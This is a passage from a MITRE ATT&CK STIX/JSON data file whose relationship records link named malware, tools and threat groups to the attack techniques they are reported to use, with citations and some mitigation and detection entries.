Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html","source_name":"FireEye HAWKBALL Jun 2019"}],"modified":"2019-07-06T21:31:25.575Z","description":"[HAWKBALL](https://attack.mitre.org/software/S0391) has sent system information and files over the C2 channel.(Citation: FireEye HAWKBALL Jun 2019)","relationship_type":"uses","source_ref":"malware--12a7450d-b03e-4990-a5b8-b405ab9c803b","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7ac62413-be9a-40ef-996d-017c04f04d5b","type":"relationship","created":"2020-11-12T17:08:43.626Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."},{"source_name":"IBM Grandoreiro April 2020","url":"https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/","description":"Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020."},{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-11-13T20:08:48.809Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can monitor browser activity for online banking actions and display full-screen overlay images to block user access to the intended site or present additional data fields.(Citation: Securelist Brazilian Banking Malware July 2020)(Citation: IBM Grandoreiro April 2020)(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7ac890f4-b4d0-4899-be19-bcbda48c3736","type":"relationship","created":"2021-10-11T18:29:51.343Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-15T15:03:46.289Z","description":"[MarkiRAT](https://attack.mitre.org/software/S0652) can obtain the computer name from a compromised host.(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"malware--532c6004-b1e8-415b-9516-f7c14ba783b1","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7acc1226-d784-448e-8aeb-7f58e343c4da","type":"relationship","created":"2021-04-20T02:37:12.377Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Gallagher 2015","description":"Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as “watering holes”. Retrieved January 25, 2016.","url":"http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/"}],"modified":"2021-04-20T02:37:12.377Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has embedded malicious code into websites to screen a potential victim's IP address and then exploit their browser if they are of interest.(Citation: Gallagher 2015)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7acdcde3-1065-4393-ae6b-80ac95b2607d","created":"2024-03-29T17:43:23.251Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T18:36:31.672Z","description":"Application developers should consider limiting the requirements for custom or otherwise difficult to manage file/folder exclusions. Where possible, install applications to trusted system folder paths that are already protected by restricted file and directory permissions.","relationship_type":"mitigates","source_ref":"course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1","target_ref":"attack-pattern--09b008a9-b4eb-462a-a751-a0eb58050cd9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7ad1bbdf-4a00-426a-b130-fb4425ad2622","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}],"modified":"2019-06-07T15:40:16.254Z","description":"[HOMEFRY](https://attack.mitre.org/software/S0232) can perform credential dumping.(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"malware--7451bcf9-e6e6-4a70-bc3d-1599173d0035","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7ad6900d-ac3a-4338-9c19-e280a8e67a8e","created":"2024-09-17T14:27:41.424Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-17T14:27:41.424Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--48b836c6-e4ca-435a-82a3-29c03e5b492e","target_ref":"attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7ad999fd-9d57-40d3-b942-d8749a6f46cc","created":"2023-04-04T22:46:40.046Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-04T22:46:40.046Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can enumerate Registry keys with all subkeys and values.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7ada6af2-f97d-4a64-8eca-9fffba657d46","created":"2021-07-30T15:54:30.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GitHub Sliver C2","description":"BishopFox. (n.d.). Sliver. Retrieved September 15, 2021.","url":"https://github.com/BishopFox/sliver/"},{"source_name":"Bishop Fox Sliver Framework August 2019","description":"Kervella, R. (2019, August 4). Cross-platform General Purpose Implant Framework Written in Golang. Retrieved July 30, 2021.","url":"https://labs.bishopfox.com/tech-blog/sliver"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:06:13.192Z","description":"[Sliver](https://attack.mitre.org/software/S0633) can encrypt strings at compile time.(Citation: Bishop Fox Sliver Framework August 2019)(Citation: GitHub Sliver C2)","relationship_type":"uses","source_ref":"tool--11f8d7eb-1927-4806-9267-3a11d4d4d6be","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7adaf2f3-52f2-40aa-b1ae-2fd2f05d9d56","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Operation Groundbait","description":"Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"}],"modified":"2019-07-26T20:45:14.674Z","description":"A module in [Prikormka](https://attack.mitre.org/software/S0113) collects information from the victim about Windows OS version, computer name, battery info, and physical memory.(Citation: ESET Operation Groundbait)","relationship_type":"uses","source_ref":"malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7adea746-109e-41c2-bf48-20e0282038a0","type":"relationship","created":"2019-07-19T16:38:05.304Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","source_name":"Cybereason Soft Cell June 2019"},{"source_name":"Microsoft GALLIUM December 2019","url":"https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/","description":"MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}],"modified":"2021-01-13T21:16:05.345Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) used a modified version of [Mimikatz](https://attack.mitre.org/software/S0002) along with a PowerShell-based [Mimikatz](https://attack.mitre.org/software/S0002) to dump credentials on the victim machines.(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7adebe2e-97f7-4a1a-8ac7-01b795dadc36","type":"relationship","created":"2020-08-12T19:22:13.822Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks Karagany July 2019","url":"https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector","description":"Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."}],"modified":"2020-08-12T19:22:13.822Z","description":"[Trojan.Karagany](https://attack.mitre.org/software/S0094) can enumerate files and directories on a compromised host.(Citation: Secureworks Karagany July 2019)","relationship_type":"uses","source_ref":"malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7ae71a39-4f64-4d64-ad3f-885ae7a5c613","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Briba May 2012","description":"Ladley, F. (2012, May 15). Backdoor.Briba. Retrieved February 21, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-2843-99"}],"modified":"2021-02-09T14:56:14.765Z","description":"[Briba](https://attack.mitre.org/software/S0204) creates run key Registry entries pointing to malicious DLLs dropped to disk.(Citation: Symantec Briba May 2012)","relationship_type":"uses","source_ref":"malware--79499993-a8d6-45eb-b343-bf58dea5bdde","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7ae8b9cf-2524-4861-8246-394a96339f49","created":"2024-06-27T19:15:26.478Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-27T19:38:30.583Z","description":"[LunarLoader](https://attack.mitre.org/software/S1143) can deobfuscate files containing the next stages in the infection chain.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--6490afef-d88e-4e2b-b9d9-a472508ca59d","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7ae9b8ce-5675-4a39-822c-b603f7ad816b","type":"relationship","created":"2022-03-30T14:26:51.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.853Z","description":"Monitor newly constructed files that may modify or add LSASS drivers to obtain persistence on compromised systems.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7aea964a-cd9b-471e-bc7b-2a270c974289","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html","description":"Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.","source_name":"Talos Group123"},{"source_name":"Securelist ScarCruft May 2019","url":"https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/","description":"GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019."}],"modified":"2019-09-09T19:12:32.904Z","description":"(Citation: Talos Group123)(Citation: Securelist ScarCruft May 2019)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7aeee346-4272-45c4-b351-1cf4ac98a15d","created":"2019-04-19T15:30:36.829Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"US-CERT HOPLIGHT Apr 2019","description":"US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR19-100A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-28T20:25:26.924Z","description":"[HOPLIGHT](https://attack.mitre.org/software/S0376) has been observed collecting victim machine information like OS version, volume information, and more.(Citation: US-CERT HOPLIGHT Apr 2019)","relationship_type":"uses","source_ref":"malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7aef9a3f-82ff-4e2e-bee7-962b49421067","type":"relationship","created":"2020-06-01T14:41:54.887Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}],"modified":"2020-06-01T14:41:54.887Z","description":"[SDBbot](https://attack.mitre.org/software/S0461) has the ability to use RDP to connect to victim's machines.(Citation: Proofpoint TA505 October 2019)","relationship_type":"uses","source_ref":"malware--92b03a94-7147-4952-9d5a-b4d24da7487c","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7af072a8-2a24-42c4-9cdc-7e060693849e","created":"2022-08-22T15:57:00.582Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Symantec Bumblebee June 2022","description":"Kamble, V. (2022, June 28). Bumblebee: New Loader Rapidly Assuming Central Position in Cyber-crime Ecosystem. Retrieved August 24, 2022.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime"},{"source_name":"Proofpoint Bumblebee April 2022","description":"Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022.","url":"https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T14:39:49.350Z","description":"[Bumblebee](https://attack.mitre.org/software/S1039) has used `rundll32` for execution of the loader component.(Citation: Proofpoint Bumblebee April 2022)(Citation: Symantec Bumblebee June 2022)","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7af39008-1480-4524-b8ce-e285628f61be","type":"relationship","created":"2019-04-23T16:12:37.664Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub PoshC2","url":"https://github.com/nettitude/PoshC2_Python","description":"Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}],"modified":"2019-09-16T17:23:49.014Z","description":"[PoshC2](https://attack.mitre.org/software/S0378) can enumerate files on the local file system and includes a module for enumerating recently accessed files.(Citation: GitHub PoshC2)","relationship_type":"uses","source_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7af3fbea-cdb1-42e3-a5f0-8ad2e418baff","type":"relationship","created":"2021-10-07T21:28:23.930Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"trendmicro xcsset xcode project 2020","url":"https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf","description":"Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}],"modified":"2021-10-15T03:11:44.586Z","description":"[XCSSET](https://attack.mitre.org/software/S0658) adds malicious file paths to the DYLD_FRAMEWORK_PATH and DYLD_LIBRARY_PATH environment variables to execute malicious code.(Citation: trendmicro xcsset xcode project 2020)","relationship_type":"uses","source_ref":"malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f","target_ref":"attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7af7bfc3-7b1b-41aa-b162-47c222390815","created":"2022-09-16T22:06:21.494Z","revoked":false,"external_references":[{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-16T22:06:21.494Z","description":"During [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), the threat actors used batch files that modified registry keys.(Citation: McAfee Honeybee)","relationship_type":"uses","source_ref":"campaign--4553292d-12c6-4a93-934d-12160370d4e0","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7af9715f-b85c-4fc5-8ef8-5884c8144178","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ASERT InnaputRAT April 2018","description":"ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.","url":"https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/"}],"modified":"2020-03-18T00:48:35.903Z","description":"[InnaputRAT](https://attack.mitre.org/software/S0259) uses the API call ShellExecuteW for execution.(Citation: ASERT InnaputRAT April 2018)","relationship_type":"uses","source_ref":"malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7b050e9f-ab8e-4860-aae9-4a37e18efbe2","created":"2021-10-12T19:19:57.932Z","x_mitre_version":"1.0","external_references":[{"source_name":"Dell TG-3390","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018."},{"source_name":"Unit42 Emissary Panda May 2019","url":"https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/","description":"Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has obtained and used tools such as [Impacket](https://attack.mitre.org/software/S0357), [pwdump](https://attack.mitre.org/software/S0006), [Mimikatz](https://attack.mitre.org/software/S0002), [gsecdump](https://attack.mitre.org/software/S0008), [NBTscan](https://attack.mitre.org/software/S0590), and [Windows Credential Editor](https://attack.mitre.org/software/S0005).(Citation: Unit42 Emissary Panda May 2019)(Citation: Dell TG-3390)","modified":"2022-04-11T14:10:31.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b053a36-de7d-476b-bc06-6d712432d615","type":"relationship","created":"2021-03-08T18:27:58.647Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PTSecurity Higaisa 2020","url":"https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/","description":"PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021."}],"modified":"2021-03-30T20:26:53.811Z","description":"[Higaisa](https://attack.mitre.org/groups/G0126) has exploited CVE-2018-0798 for execution.(Citation: PTSecurity Higaisa 2020)","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b05bdd0-2241-4b2d-a5a0-0531edca6311","type":"relationship","created":"2021-08-26T18:49:41.734Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Accenture MUDCARP March 2019","url":"https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies","description":"Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021."}],"modified":"2021-08-27T13:25:28.257Z","description":"[BADFLICK](https://attack.mitre.org/software/S0642) has compressed data using the aPLib compression library.(Citation: Accenture MUDCARP March 2019)","relationship_type":"uses","source_ref":"malware--57d83eac-a2ea-42b0-a7b2-c80c55157790","target_ref":"attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b06929c-1b23-4efc-9fc1-64552d5fbdb2","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellMafia/PowerSploit","description":"PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.","source_name":"GitHub PowerSploit May 2012"},{"url":"http://powersploit.readthedocs.io","description":"PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.","source_name":"PowerSploit 